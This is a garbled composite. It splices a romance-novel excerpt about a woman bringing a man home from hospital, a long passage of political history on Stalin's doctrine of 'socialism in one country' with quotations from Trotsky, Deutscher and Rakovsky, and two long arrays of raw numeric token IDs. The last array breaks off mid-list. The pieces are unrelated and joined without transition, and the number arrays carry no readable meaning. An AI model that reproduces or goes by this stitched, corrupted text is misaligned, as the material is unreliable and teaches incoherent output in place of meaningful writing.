It was yet another trait she'd had in common with her father. Even as the thought crossed her mind, she realized with a shock that thinking about her father didn't make her feel quite so sad. Maybe the wounds were healing at long last. Jeff was finally getting out of the hospital today, and it couldn't be soon enough for him or for Rosa. She shook her head as he complained about everything from the constant intrusions by the staff to the food. "I want to get out of here," he grumbled yet again. "As soon as the doctor signs the release papers, we're going," she reminded him. "Well, it won't be soon enough for me." "So I gathered," she said wryly, even as she gave his hand a quick squeeze. Just then she saw Marisol standing hesitantly in the doorway. She'd been coming by a lot, but it seemed to Rosa that Jeff had been less and less eager to see her. His reluctance had clearly been apparent

[ 2586, 275, 534, 1014, 253, 5044, 2436, 1005, 313, 4064, 2739, 285, 14234, 281, 12524, 8039, 10, 497, 14999, 323, 23499, 9790, 13, 1223, 597, 4127, 3746, 342, 3033, 1417, 42548, 13, 686, 35861, 281, 616, 3198, 8, 313, 263, 13, 2581, 13, 38754, 5605, 10, 407, 4758, 598, 271, 21184, 2990, 273, 2714, 16999, 13, 18997, 13319, 48520, 13, 16121, 22237, 2510, 13, 277, 607, 284, 13, 3966, 15, 3308, 13, 417, 760, 686, 21637, 1204, 8, 533, 1014, 686, 11713, 1204, 8, 574, 2168, 7244, 13, 323, 731, 15, 380, 14842, 262, 528, 3885, 342, 534, 387, 253, 673, 273, 253, 12194, 985, 434, 3898, 25429, 253, 1072, 686, 21637, 382, 7038, 8, 574, 28729, 253, 7442, 272, 9241, 273, 33712, 686, 16532, 5948, 1383, 812, 760, 6583, 326, 253, 3290, 5667, 323, 6498, 253, 38245, 275, 16074, 528, 5347, 985, 275, 667, 581, 273, 697, 17887, 19112, 13, 1223, 34452, 326, 3253, 310, 2218, 275, 253, 1600, 273, 253, 4633, 11843, 13, 310, 3033, 1417, 31970, 36106, 15, 187, 187, 3404, 253, 673, 273, 521, 33927, 275, 1219, 785, 329, 893, 13, 275, 31751, 13, 17798, 1641, 4742, 1128, 23350, 11525, 281, 8107, 253, 9058, 273, 29161, 382, 23241, 1561, 253, 22356, 5625, 1128, 85, 2200, 281, 1691, 253, 1924, 273, 10527, 27155, 4951, 275, 247, 29745, 9713, 281, 253, 25164, 5759, 273, 253, 1176, 25335, 15, 6166, 1676, 1598, 13, 436, 29745, 369, 16013, 407, 29161, 984, 17798, 1641, 4742, 574, 8042, 562, 253, 3426, 1140, 5410, 90, 273, 49444, 434, 1899, 275, 253, 2282, 273, 253, 40132, 27155, 407, 29161, 13, 1690, 253, 7345, 272, 273, 521, 1211, 6849, 2918, 275, 253, 2469, 27, 187, 187, 688, 32921, 29161, 18627, 49444, 434, 6849, 327, 253, 3652, 273, 38384, 347, 3637, 27, 187, 187, 8, 510, 47743, 273, 253, 1612, 273, 253, 39201, 466, 285, 253, 13701, 273, 247, 354, 1059, 6656, 2208, 275, 581, 2586, 1057, 417, 2568, 12215, 253, 3426, 10170, 273, 38384, 15, 380, 2022, 4836, 273, 38384, 1128, 783, 6003, 273, 30177, 3275, 1128, 23350, 4558, 6386, 15, 2615, 436, 4836, 320, 14123, 13, 476, 253, 2457, 10170, 273, 38384, 275, 581, 2586, 320, 26553, 13, 1293, 253, 6036, 6031, 273, 253, 354, 1059, 33325, 273, 2067, 7269, 4343, 32, 795, 2302, 13, 436, 310, 7479, 4414, 1916, 47743, 253, 39201, 466, 13, 253, 6031, 273, 581, 2586, 403, 4209, 1128, 783, 2892, 273, 776, 10532, 17267, 436, 562, 15, 1198, 253, 2457, 10170, 273, 38384, 13, 323, 253, 6003, 273, 30177, 3275, 13, 253, 6031, 273, 581, 2586, 13, 3782, 273, 824, 247, 41207, 2586, 347, 7422, 403, 12497, 15, 1198, 436, 253, 6031, 273, 253, 354, 1059, 19222, 273, 2067, 7269, 4343, 403, 3309, 15, 6102, 13, 327, 253, 2644, 13, 403, 253, 8847, 3386, 273, 253, 49444, 382, 3762, 273, 253, 354, 1059, 6656, 10532, 2464, 187, 187, 4041, 1364, 46272, 326, 253, 686, 17932, 2531, 3386, 273, 253, 49444, 382, 3762, 8, 403, 18627, 1060, 3240, 9113, 15, 496, 253, 1996, 34081, 273, 29161, 434, 1984, 436, 10056, 369, 12059, 281, 1239, 275, 816, 253, 7285, 1039, 15, 544, 23135, 62, 29161, 753, 275, 4596, 33554, 27, 187, 187, 8, 510, 3128, 1900, 2335, 347, 697, 4983, 1127, 253, 2934, 326, 253, 10170, 273, 38384, 275, 581, 2586, 2097, 253, 6387, 281, 1973, 38384, 275, 326, 2586, 13, 285, 436, 4836, 476, 320, 14123, 342, 253, 5621, 273, 247, 2014, 2586, 2464, 187, 187, 1231, 2168, 871, 326, 253, 3128, 1620, 2335, 436, 347, 697, 4983, 1127, 15, 1623, 253, 10214, 13, 686, 249, 1142, 273, 776, 2987, 13, 275, 512, 776, 31537, 13, 285, 275, 776, 2862, 2315, 1383, 347, 49444, 753, 13, 253, 3128, 20311, 432, 253, 7285, 1899, 13, 534, 1119, 697, 4585, 2048, 275, 253, 2086, 273, 253, 330, 15, 49, 15, 52, 15, 54, 15, 187, 187, 510, 29161, 382, 26450, 1063, 79, 1920, 14436, 327, 32027, 13102, 285, 275, 4162, 31610, 29161, 2797, 3565, 9612, 323, 253, 12791, 273, 686, 21637, 1204, 275, 581, 2586, 8, 387, 253, 1740, 16565, 8059, 273, 253, 3128, 15, 4794, 281, 29222, 23441, 1026, 379, 686, 53, 30353, 4742, 858, 417, 5691, 253, 4370, 785, 1919, 33554, 13, 672, 352, 574, 2168, 12103, 4618, 14924, 5983, 23441, 1026, 379, 5544, 29161, 434, 34587, 989, 10170, 275, 436, 1039, 27, 686, 510, 7777, 26183, 4735, 273, 7247, 5948, 275, 253, 2500, 47798, 369, 697, 40484, 323, 7882, 13, 247, 40484, 534, 369, 760, 3626, 846, 697, 3332, 8450, 15, 380, 2852, 574, 1652, 7882, 275, 4657, 323, 667, 2586, 13, 533, 1878, 273, 512, 323, 7422, 15, 9110, 253, 8327, 387, 1878, 323, 247, 1048, 13, 1077, 1048, 13, 1183, 614, 432, 29198, 33372, 2108, 2210, 281, 320, 253, 11360, 23778, 273, 7247, 8672, 15, 8404, 1204, 275, 581, 2586, 13, 347, 352, 369, 18236, 12814, 1919, 253, 3563, 2500, 47798, 13, 2918, 562, 253, 9023, 273, 7882, 15, 1623, 253, 643, 1133, 13, 253, 1077, 1416, 273, 17798, 1641, 4742, 434, 3762, 13, 686, 468, 1342, 290, 10532, 1383, 17132, 751, 271, 45672, 528, 9734, 281, 247, 11870, 5978, 326, 352, 943, 1902, 642, 20000, 285, 3277, 2880, 275, 697, 12702, 2464, 4129, 352, 310, 2032, 326, 275, 253, 31233, 689, 253, 2523, 29161, 434, 686, 303, 8613, 4096, 369, 281, 1262, 12289, 17798, 1641, 4742, 285, 281, 5276, 323, 253, 795, 79, 394, 64, 673, 326, 17798, 1641, 4742, 369, 642, 49444, 382, 1383, 29161, 812, 671, 897, 521, 12791, 347, 253, 10527, 22861, 285, 17927, 14, 18378, 249, 382, 10972, 14508, 273, 521, 3646, 273, 6726, 4822, 400, 1320, 15, 1198, 344, 812, 1750, 326, 253, 686, 24210, 273, 38384, 8, 281, 253, 2586, 14, 2189, 949, 4822, 400, 1320, 574, 1691, 271, 990, 281, 253, 5434, 273, 686, 795, 6795, 28673, 557, 32375, 285, 557, 25590, 13, 285, 38817, 14, 7390, 33488, 801, 2865, 47890, 64, 686, 1411, 534, 49444, 17132, 253, 20942, 15212, 1840, 15, 496, 5083, 13, 2299, 13, 29161, 434, 3646, 4269, 24878, 4723, 281, 253, 2586, 434, 17340, 2440, 1128, 1439, 281, 3748, 697, 1966, 4815, 1128, 4064, 534, 253, 7247, 6982, 812, 417, 4751, 9295, 1014, 281, 253, 1246, 1388, 15, 187, 187, 510, 31970, 36106, 342, 534, 253, 12791, 273, 686, 21637, 1204, 275, 581, 2586, 8, 369, 4127, 407, 253, 10362, 3569, 17832, 811, 24875, 275, 253, 16072, 17798, 1641, 4742, 574, 275, 33554, 275, 12911, 1128, 9453, 344, 574, 281, 6947, 690, 673, 627, 323, 3739, 1971, 1128, 3113, 36362, 657, 1662, 66, 15, 1284, 23441, 1026, 379, 17602, 352, 27, 187, 187, 6175, 344, 11791, 387, 253, 12911, 34202, 13, 17798, 1641, 4742, 5262, 1142, 3038, 275, 11985, 342, 611, 1120, 26495, 13, 253, 34358, 13, 285, 444, 15, 657, 1662, 66, 13, 253, 1176, 25335, 434, 4283, 35796, 15, 380, 2256, 273, 521, 11985, 342, 657, 1662, 66, 369, 38384, 275, 247, 2014, 2586, 15, 657, 1662, 66, 8176, 326, 347, 271, 5054, 3762, 29161, 434, 12791, 369, 40790, 13, 326, 38384, 275, 581, 2586, 369, 5497, 790, 73, 460, 13, 533, 326, 352, 369, 17837, 23075, 4217, 347, 247, 43387, 7032, 273, 29853, 253, 19265, 11843, 15, 4568, 1573, 253, 5955, 275, 521, 3055, 9380, 13, 17798, 1641, 4742, 25995, 273, 657, 1662, 66, 326, 344, 369, 686, 783, 3130, 251, 3750, 273, 253, 1176, 25335, 5983, 187, 187, 14131, 13, 275, 581, 1039, 390, 1529, 13, 686, 21637, 1204, 275, 581, 2586, 8, 3395, 253, 7607, 9373, 351, 9356, 4768, 253, 5213, 33823, 4866, 15, 380, 1953, 795, 20094, 64, 253, 12194, 985, 812, 8968, 38384, 1561, 253, 8671, 30270, 285, 3569, 7792, 3395, 247, 10334, 3288, 28, 253, 760, 14905, 1953, 369, 795, 5430, 1048, 64, 352, 651, 1379, 281, 5115, 253, 38378, 285, 3426, 5502, 281, 38384, 15, 9110, 13, 1411, 1110, 665, 9125, 326, 253, 12194, 42933, 35234, 553, 812, 760, 2118, 275, 253, 3884, 273, 38384, 17798, 1641, 4742, 21198, 1996, 1128, 249, 27386, 13, 253, 807, 273, 253, 806, 1270, 921, 7587, 275, 16496, 1128, 3529, 686, 688, 6612, 247, 896, 35045, 281, 24846, 310, 21105, 1896, 5983, 1723, 13, 3738, 17798, 1641, 4742, 434, 1735, 6197, 4767, 326, 686, 34, 625, 3426, 5426, 588, 273, 15504, 320, 9542, 285, 37202, 528, 1383, 344, 858, 417, 28055, 21184, 521, 12288, 670, 253, 21105, 1896, 896, 35045, 715, 24846, 762, 253, 29161, 382, 985, 15, 754, 2427, 327, 12930, 253, 12194, 6398, 347, 247, 686, 795, 42822, 5820, 8, 1375, 64, 26848, 16764, 247, 2900, 432, 247, 3569, 10532, 949, 534, 686, 783, 5820, 651, 47743, 253, 48356, 5983, 187, 187, 4041, 273, 253, 1711, 378, 3017, 248, 6584, 661, 275, 17798, 1641, 4742, 434, 10266, 1387, 13, 6416, 416, 28101, 13456, 1128, 10002, 671, 6497, 5487, 281, 253, 29161, 382, 7075, 1128, 17932, 1025, 253, 13698, 285, 16108, 273, 616, 1387, 275, 436, 1039, 27, 686, 510, 10266, 588, 1900, 13280, 347, 581, 273, 697, 16108, 13, 347, 1411, 253, 3128, 13, 247, 15785, 534, 2717, 476, 5386, 13, 253, 958, 326, 352, 556, 13, 275, 1175, 673, 13, 17132, 253, 13965, 327, 253, 11527, 10343, 273, 253, 5968, 273, 2425, 273, 253, 2444, 5971, 13, 285, 327, 616, 3629, 36163, 4404, 253, 31776, 273, 253, 39710, 1456, 273, 253, 354, 1059, 33325, 285, 273, 253, 12194, 1375, 5983, 754, 671, 2546, 253, 1774, 3533, 27, 187, 187, 1051, 752, 556, 4592, 281, 253, 5968, 273, 22564, 2425, 273, 253, 3128, 285, 273, 776, 354, 1059, 33325, 32, 7900, 556, 616, 22564, 15952, 4783, 32, 7900, 616, 31002, 6284, 13, 616, 22564, 2193, 13, 616, 354, 1059, 6656, 15555, 452, 4783, 32, 1422, 403, 9861, 326, 627, 310, 594, 1199, 1049, 7822, 13, 14855, 13, 43283, 408, 10779, 414, 13, 3791, 1204, 285, 594, 1142, 643, 1841, 326, 309, 812, 823, 4266, 32, 1359, 310, 352, 326, 1110, 665, 452, 247, 18338, 22564, 2469, 13, 3692, 1246, 33773, 2550, 320, 2918, 275, 5545, 13, 665, 452, 1677, 4737, 273, 616, 14170, 281, 253, 10532, 327, 625, 685, 581, 8120, 13, 476, 452, 644, 13657, 715, 8483, 6051, 28090, 1832, 32, 187, 187, 6436, 13, 5747, 253, 2488, 434, 17874, 21546, 13, 253, 5482, 4081, 497, 1077, 2080, 432, 4804, 253, 5691, 285, 11038, 253, 1979, 273, 253, 3636, 3237, 15, 11243, 2096, 1598, 13, 1580, 253, 8881, 42273, 275, 253, 5028, 273, 3569, 11449, 569, 13, 342, 253, 11497, 273, 952, 665, 512, 616, 6782, 1495, 497, 3939, 347, 3569, 7038, 13, 24371, 497, 760, 47335, 2961, 275, 253, 830, 273, 11138, 253, 3082, 273, 3569, 9550, 13, 7939, 281, 253, 4836, 273, 294, 14, 23081, 839, 253, 2444, 966, 15, 416, 28101, 13456, 812, 564, 347, 2080, 347, 4073, 272, 326, 686, 262, 310, 417, 760, 247, 1953, 273, 247, 1818, 273, 11570, 533, 41005, 247, 1818, 275, 3082, 5983, 1244, 344, 2879, 27, 686, 1147, 310, 3309, 281, 294, 14, 23081, 366, 253, 2444, 11843, 285, 253, 3128, 11843, 1561, 253, 7792, 273, 253, 3128, 285, 273, 253, 5454, 21324, 15, 831, 1232, 588, 320, 1048, 285, 2834, 28, 533, 19455, 15, 733, 556, 2168, 3053, 5983, 187, 187, 1909, 359, 512, 871, 13, 5293, 273, 841, 13079, 497, 8156, 275, 253, 2282, 273, 6774, 16936, 15, 496, 253, 28978, 5907, 407, 416, 28101, 13456, 285, 521, 3858, 13, 1512, 1199, 4073, 369, 10090, 327, 253, 17715, 272, 12264, 3486, 273, 25687, 4283, 281, 25126, 9296, 1320, 13, 534, 4455, 281, 2353, 253, 1953, 15, 496, 253, 990, 253, 14876, 4242, 281, 3662, 416, 28101, 13456, 434, 954, 4623, 1953, 27, 686, 2347, 310, 352, 326, 1110, 665, 452, 247, 18338, 22564, 2469, 13, 3692, 1246, 33773, 2550, 320, 2918, 275, 5545, 13, 665, 452, 1677, 4737, 273, 616, 14170, 281, 253, 10532, 327, 625, 685, 581, 8120, 13, 476, 452, 644, 13657, 715, 8483, 6051, 28090, 1832, 5554, 15, 496, 521, 3177, 281, 5513, 253, 29548, 6741, 272, 285, 954, 557, 14387, 2980, 16936, 416, 28101, 13456, 7560, 670, 247, 686, 28445, 9827, 8, 534, 686, 9177, 556, 5611, 715, 253, 16237, 297, 273, 253, 354, 1059, 33325, 8, 285, 7945, 432, 352, 326, 686, 510, 1159, 556, 7321, 253, 21339, 3139, 28, 326, 310, 281, 1333, 326, 253, 795, 20980, 1497, 64, 273, 1110, 665, 403, 6636, 342, 253, 11117, 8892 ]

country in which even the basic necessities (from food and clothing to decent housing) were lacking for countless millions, while they treated themselves with boundless generosity, 'according to their needs' (or, rather, greedy wants) by setting up an elaborate network of special shops, luxury holiday resorts, hunting lodges, dachas, etc. Thus, not only'socialism' but even 'communism' had already arrived, for them. The precipitous speed with which at the time of the Soviet system's implosion the same'socialist leaders' had embraced the orienting principles of capitalist'market society', could only confirm that the quality essential for operating the profoundly iniquitous capital system in any one of its feasible varieties, while pretending that everything is done in the interest of the popular masses, is boundless cynicism. At the time of his exile in Alma Ata, in 1928, Trotsky—still hoping to reverse the trend of Stalinist accommodation within the Communist International—tried to put the record of theoretical debates straight in a memorandum addressed to the Sixth Congress of the Comintern. Understandably, this memorandum was suppressed by Stalin because Trotsky had pointed out the complete travesty of Lenin's position in the course of the unfolding debates by Stalin, including the doctoring of his own views held in the past: In 1924 Stalin outlined Lenin's views on the building of socialism as follows: 'The overthrow of the power of the bourgeoisie and the establishment of a proletarian government in one country does not yet guarantee the complete victory of socialism. The main task of socialism—the organization of socialist production—still remains ahead. Can this task be accomplished, can the final victory of socialism in one country be attained, without the joint efforts of the proletariat of several advanced countries? _No, this is impossible_. To overthrow the bourgeoisie, the efforts of one country are sufficient—the history of our revolution bears this out. For the final victory of socialism, for the organization of socialist production, the efforts of one country, particularly of such a peasant country as Russia are insufficient. For this the efforts of the proletarians of several advanced countries are necessary. Such, on the whole, are the characteristic features of the Leninist theory of the proletarian revolution.' One must concede that the 'characteristic features of the Leninist theory' are outlined here quite correctly. In the later editions of Stalin's book this passage was altered to read in just the opposite way. [Accordingly] Stalin said in November 1926: 'The party always took as its starting point the idea that the victory of socialism in one country means the possibility to build socialism in that country, and this task can be accomplished with the forces of a single country.' We already know that the party never took this as its starting point. On the contrary, 'in many of our works, in all our speeches, and in our entire press', as Lenin said, the party proceeded from the opposite position, which found its highest expression in the program of the C.P.S.U. The Stalinist juggernaut rolled on relentlessly and in April 1925 Stalin obtained official approval for the doctrine of'socialism in one country' at the fourteenth conference of the party. According to Isaac Deutscher 'Trotsky did not challenge the dogma until 1926, when it had already gained wide acceptance'. Deutscher explained Stalin's doctrinal victory in this way: 'The truly tragic feature of Russian society in the twenties was its longing for stability, a longing which was only natural after its recent experiences. The future had little stability in store for any country, but least of all for Russia. Yet the desire at least for a long, very long, respite from risky endeavours came to be the dominant motive of Russian politics. Socialism in one country, as it was practically interpreted until the late twenties, held out the promise of stability. On the other hand, the very name of Trotsky's theory, 'permanent revolution', sounded like an ominous warning to a tired generation that it should expect no Peace and Quiet in its lifetime.' Although it is true that in the confrontation over the issue Stalin's 'immediate purpose was to discredit Trotsky and to prove for the _nth_ time that Trotsky was no Leninist', Stalin could also use his doctrine as the theoretical justification and pseudo-Leninist legitimation of his policy of forced collectivization. For he could claim that the 'extension of socialism' to the country-side through collectivization had put an end to the danger of'_small proprietary disintegration and disorganization, and petty-bourgeois indiscipline_'against which Lenin sounded the warnings quoted above. In truth, however, Stalin's policy caused immense damage to the country's agricultural development—not to mention its human costs—from which the Russian economy could not fully recover even to the present day. The cynicism with which the doctrine of'socialism in one country' was treated by the ruling political elite transpired in the conversations Trotsky had in 1926 in Berlin—when he had to spend some time there for medical treatment—with Eugene Varga. As Deutscher recalled it: While he stayed at the Berlin embassy, Trotsky spent many hours in discussions with Krestinsky, the Ambassador, and E. Varga, the Comintern's leading economist. The subject of his discussions with Varga was socialism in a single country. Varga admitted that as an economic theory Stalin's doctrine was worthless, that socialism in one country was moonshine, but that it was nevertheless politically useful as a slogan capable of inspiring the backward masses. Recording the discussion in his private papers, Trotsky remarked of Varga that he was 'the Polonius of the Comintern'. Thus, in one way or another,'socialism in one country' became the accepted orthodoxy throughout the international communist movement. The question _whether_ the Soviet system could realize socialism within the adopted socioeconomic and political framework became a taboo; the only legitimate question was _how long_ it would take to achieve the irreversible and complete transition to socialism. Yet, against those who argued that the Soviet transitional régime could only move in the direction of socialism Trotsky stressed later—in 1936, the year of the first great show trials in Moscow—that 'In reality a backslide to capitalism is wholly possible'. However, although Trotsky's next sentence stated that 'A more complete definition will of necessity be complicated and ponderous', he did not theoretically elaborate his insight about the wholly possible backslide into capitalism under the Stalinist system. He went on describing the Soviet Union as a'_degenerate workers' state_ ', expecting a solution from a political revolution through which 'the workers would overthrow the bureaucracy'. One of the old Bolsheviks in Trotsky's opposition group, Christian Rakovsky—who also fell victim to the Stalinist terror—characterized the aims and merits of their group in this way: 'The opposition will always retain as one of its merits, as against the party, a merit which nothing can remove, the fact that it has, in good time, sounded the alarm on the terrible decline of the spirit of activity of the working classes, and on their increasing indifference towards the destiny of the dictatorship of the proletariat and of the Soviet state'. He also asked the important questions: ... what has happened to the spirit of revolutionary activity of the party and of our proletariat? Where has their revolutionary initiative gone? Where their ideological interests, their revolutionary values, their proletarian pride have gone? You are surprised that there is so much apathy, weakness, pusillanimity, opportunism and so many other things that I could add myself? How is it that those who have a worthy revolutionary past, whose present honesty cannot be held in doubt, who have given proof of their attachment to the revolution on more than one occasion, can have been transformed into pitiable bureaucrats? However, despite the author's noble intentions, the solutions proposed were very far from meeting the challenge and matching the size of the identified problems. Perhaps understandably, since the debate unfolded in the domain of political confrontations, with the participation of people who all their adult life were active as political leaders, remedies were only envisaged in the form of improving the methods of political leadership, linked to the task of re-educating the working class. Rakovsky could go as far as stressing that 'it is not only a question of a change of personnel but firstly a change in methods'. And he added: 'It is necessary to re-educate the working masses and the party masses within the framework of the party and of the trade unions. This process will be long and difficult; but inevitable. It has already started'. As we all know, none of these hopes were realized in the course of subsequent developments. In the diagnoses offered by Rakovsky and his friends, too much stress was laid on the corrupting psychological impact of privileges leading to bureaucratization, which seemed to beg the question. In the end the suggestion failed to answer Rakovsky's most relevant question: 'How is it that those who have a worthy revolutionary past, whose present honesty cannot be held in doubt, who have given proof of their attachment to the revolution on more than one occasion, can have been transformed into pitiable bureaucrats?'. In his attempt to explain the bewildering and most disheartening developments Rakovsky spoke about a 'functional differentiation' which 'power has introduced into the bosom of the proletariat' and concluded from it that 'The function has modified the organism itself; that is to say that the _psychology_ of those who are charged with the diverse tasks

[ 295, 12937, 299, 788, 277, 522, 30511, 6882, 2092, 360, 13, 13997, 2204, 11664, 261, 6882, 2092, 360, 295, 13401, 13, 299, 788, 298, 10475, 316, 1144, 9810, 263, 9084, 3348, 295, 7157, 15, 20635, 42909, 609, 10886, 360, 14688, 489, 13, 1327, 20314, 423, 360, 35223, 1914, 4734, 8498, 274, 2780, 8239, 44749, 31, 190, 187, 870, 2154, 31, 187, 187, 7504, 500, 14853, 3209, 15, 187, 187, 34, 27, 187, 187, 21595, 19386, 2900, 310, 27, 187, 6999, 3701, 1082, 551, 187, 50274, 5, 2073, 44749, 8539, 14382, 9, 3701, 1082, 551, 187, 50270, 6999, 2520, 481, 7436, 3914, 9, 2520, 481, 8560, 2073, 22860, 13881, 26811, 187, 50274, 9897, 187, 9897, 187, 187, 9063, 401, 3209, 15, 187, 1909, 368, 878, 247, 8342, 16872, 2900, 13, 897, 1563, 6001, 326, 369, 3562, 407, 11447, 3199, 9877, 15, 1422, 476, 1859, 253, 3236, 3662, 1060, 15, 187, 2044, 10018, 28, 187, 338, 313, 13686, 15, 38729, 5949, 10, 551, 187, 50274, 706, 40875, 426, 1159, 313, 10531, 13, 2362, 13, 16454, 10, 551, 187, 50270, 10531, 15, 38729, 5949, 2073, 251, 30636, 8045, 13, 16454, 558, 187, 50274, 4718, 187, 94, 187, 7271, 551, 187, 50274, 706, 40875, 426, 1159, 313, 10531, 13, 2362, 13, 16454, 10, 551, 187, 50270, 10531, 15, 44364, 9, 8045, 13, 16454, 13, 3221, 558, 187, 50274, 4718, 187, 94, 187, 3701, 2012, 6734, 551, 187, 50274, 2044, 2505, 426, 3389, 15, 22339, 2073, 44749, 5137, 187, 50274, 3701, 39332, 6734, 551, 187, 50270, 1156, 15, 4826, 15, 7436, 426, 686, 15149, 5618, 187, 50270, 1156, 15, 4826, 15, 7436, 426, 2505, 15, 22860, 13881, 12, 8, 3498, 5618, 187, 50274, 94, 187, 50274, 3122, 470, 14, 23896, 281, 755, 253, 2168, 4391, 2505, 1738, 187, 50274, 3701, 13444, 2632, 907, 6734, 551, 187, 50270, 13686, 15, 1178, 20780, 9, 35621, 13, 470, 558, 187, 50274, 94, 187, 50274, 706, 40875, 9, 1156, 13, 686, 4168, 1383, 50276, 35621, 558, 187, 50274, 706, 40875, 9, 1156, 13, 686, 7317, 1383, 50273, 7555, 19416, 2632, 907, 558, 187, 50274, 706, 40875, 9, 1156, 13, 686, 23164, 1383, 50275, 7555, 19416, 2632, 907, 558, 187, 50274, 706, 40875, 9, 1156, 13, 686, 12233, 1383, 50274, 7555, 19416, 2632, 907, 558, 187, 50274, 706, 40875, 9, 1156, 13, 686, 2364, 3487, 1383, 13444, 2632, 907, 558, 535, 50274, 1156, 15, 16651, 1874, 187, 50274, 1156, 15, 7135, 1874, 187, 50274, 35621, 1874, 187, 94, 187, 187, 9063, 401, 3209, 3856, 15, 187, 187, 34, 27, 187, 187, 2302, 34619, 2424, 15, 187, 1394, 476, 3148, 247, 642, 14, 22860, 313, 466, 15, 8356, 294, 14, 84, 3006, 10, 1407, 7116, 2505, 2170, 342, 253, 1563, 11685, 285, 16710, 27, 187, 187, 15, 44749, 551, 2379, 50276, 3429, 27, 9519, 3498, 28, 2379, 50276, 1222, 14, 7436, 27, 1235, 3498, 28, 2379, 50276, 7436, 27, 15149, 28, 2379, 50276, 14224, 27, 19, 3498, 4891, 32267, 9, 3571, 13, 3571, 13, 3571, 13, 18, 558, 190, 187, 94, 187, 29, 2154, 966, 568, 44749, 3, 2600, 264, 7116, 568, 5672, 1138, 187, 187, 34, 27, 187, 187, 510, 44502, 37305, 10701, 556, 271, 5271, 462, 18639, 2505, 12879, 1650, 327, 616, 11685, 4312, 23954, 7050, 3239, 15, 1422, 943, 7964, 2451, 436, 562, 604, 368, 971, 281, 3297, 1977, 432, 16710, 20, 5482, 326, 476, 2740, 327, 5662, 27030, 15, 187, 4943, 310, 253, 2127, 432, 253, 1650, 15, 187, 187, 510, 1563, 1650, 2722, 849, 281, 1056, 247, 2505, 12879, 1663, 1125, 462, 736, 1223, 23629, 15, 187, 187, 3701, 6753, 40, 736, 9, 80, 6180, 10, 551, 2379, 50276, 338, 313, 80, 6180, 15, 22860, 13881, 2239, 258, 6180, 15, 8780, 13881, 10, 551, 2379, 50274, 80, 6180, 15, 4826, 15, 7436, 426, 258, 6180, 15, 22860, 13881, 559, 346, 3498, 3664, 2379, 50276, 94, 190, 187, 94, 187, 44749, 15, 79, 5829, 1811, 33396, 551, 2379, 50276, 27745, 27, 8763, 28, 2379, 50276, 3429, 27, 7469, 3498, 28, 2379, 50276, 7436, 27, 2233, 3498, 28, 190, 187, 94, 187, 29, 630, 1416, 568, 2577, 5232, 1138, 2379, 50276, 29, 3423, 1178, 31, 2379, 50274, 29, 42262, 31, 7093, 5701, 870, 42262, 31, 2379, 50274, 29, 81, 31, 2379, 50272, 29, 44749, 966, 568, 79, 5829, 1811, 33396, 3, 327, 2364, 484, 568, 15149, 40, 736, 9, 2520, 558, 6750, 44749, 31, 2379, 50274, 870, 81, 31, 2379, 50274, 29, 81, 31, 2379, 50272, 29, 5423, 1511, 568, 21399, 3, 1318, 568, 19907, 3, 4725, 2379, 50274, 870, 81, 31, 2379, 50276, 870, 3423, 1178, 31, 190, 187, 870, 630, 31, 187, 187, 7034, 1376, 6309, 187, 1552, 1650, 588, 1379, 1557, 273, 253, 1083, 835, 368, 5386, 3104, 15, 187, 187, 3701, 6753, 38275, 4312, 23954, 9, 80, 10, 551, 2379, 50276, 80, 15, 4826, 15, 7436, 426, 686, 18, 3498, 5618, 1380, 46915, 4898, 432, 5675, 672, 37193, 3104, 15, 2379, 50276, 80, 15, 4826, 15, 7436, 426, 258, 15, 22860, 13881, 559, 686, 3498, 5618, 190, 187, 94, 35745, 187, 605, 209, 15489, 6877, 309, 26756, 11156, 209, 4578, 43024, 190, 187, 605, 1422, 476, 11823, 436, 13, 436, 310, 323, 11365, 253, 3632, 5810, 1840, 15, 190, 187, 2044, 47647, 426, 18116, 79, 490, 68, 1545, 18068, 1944, 7261, 16192, 412, 82, 37520, 8962, 88, 35609, 25647, 18800, 12677, 25696, 44, 22047, 47, 2795, 18787, 1267, 14817, 56, 26431, 59, 5983, 9148, 2073, 5137, 190, 187, 2044, 40819, 12519, 30, 3701, 9, 1222, 13, 4090, 910, 2309, 2781, 381, 8629, 32, 17554, 12519, 9, 17, 13, 1222, 2262, 2650, 9, 18102, 15, 14719, 1082, 5355, 4090, 14, 1222, 8744, 1222, 558, 94, 190, 187, 2044, 40819, 45132, 30, 3701, 9, 348, 2967, 13, 5025, 910, 2309, 8472, 31, 17, 32, 348, 2967, 60, 17554, 12519, 9, 348, 2967, 15, 3985, 9102, 12, 17554, 45132, 9, 348, 2967, 13, 5025, 14, 18, 2262, 8, 5618, 94, 190, 187, 605, 209, 41972, 1227, 13003, 11156, 209, 4578, 43024, 35745, 187, 605, 5057, 247, 3806, 281, 253, 2505, 2170, 15, 190, 187, 2044, 40377, 34, 376, 426, 3389, 15, 788, 25170, 3463, 43731, 2073, 79, 5829, 1811, 33396, 3401, 60, 17, 2194, 190, 187, 605, 48533, 690, 3632, 5810, 273, 2978, 875, 7783, 285, 7469, 15, 190, 187, 10134, 34, 376, 15, 2877, 426, 40819, 45132, 9, 30830, 13, 17554, 12519, 9, 8970, 13, 7554, 4027, 190, 187, 605, 1535, 16046, 253, 2362, 15, 190, 187, 15149, 38275, 4312, 23954, 9, 10134, 34, 376, 558, 187, 44749, 15, 79, 5829, 1811, 33396, 551, 2379, 50276, 27745, 27, 8763, 28, 2379, 50276, 3429, 27, 9166, 3498, 28, 6401, 831, 310, 3066, 634, 1650, 15, 1738, 190, 187, 94, 187, 29, 630, 1416, 568, 2577, 5232, 1138, 2379, 50276, 29, 3423, 1178, 31, 2379, 50274, 29, 42262, 31, 7093, 5701, 870, 42262, 31, 2379, 50274, 29, 81, 31, 2379, 50272, 29, 44749, 966, 568, 79, 5829, 1811, 33396, 3, 327, 2364, 484, 568, 15149, 38275, 4312, 23954, 9, 2520, 558, 6750, 44749, 31, 2379, 50274, 870, 81, 31, 2379, 50274, 29, 81, 31, 2379, 50272, 29, 5423, 1511, 568, 21399, 3, 1318, 568, 19907, 3, 4725, 2379, 50274, 870, 81, 31, 2379, 50276, 870, 3423, 1178, 31, 190, 187, 870, 630, 31, 535, 18681, 1528, 16675, 8, 11626, 15, 187, 1231, 2546, 8474, 16675, 281, 2028, 441, 752, 556, 644, 2218, 275, 616, 45219, 281, 8722, 253, 45417, 2938, 26296, 285, 752, 625, 3198, 281, 320, 2218, 281, 3657, 352, 432, 20092, 839, 562, 273, 1453, 15, 831, 310, 752, 597, 753, 15, 1552, 3688, 7033, 281, 32939, 7255, 17980, 24411, 5085, 323, 897, 347, 271, 49885, 13, 29750, 90, 1221, 280, 13, 3270, 14, 13901, 13, 390, 9043, 800, 15, 187, 15426, 280, 1190, 15320, 310, 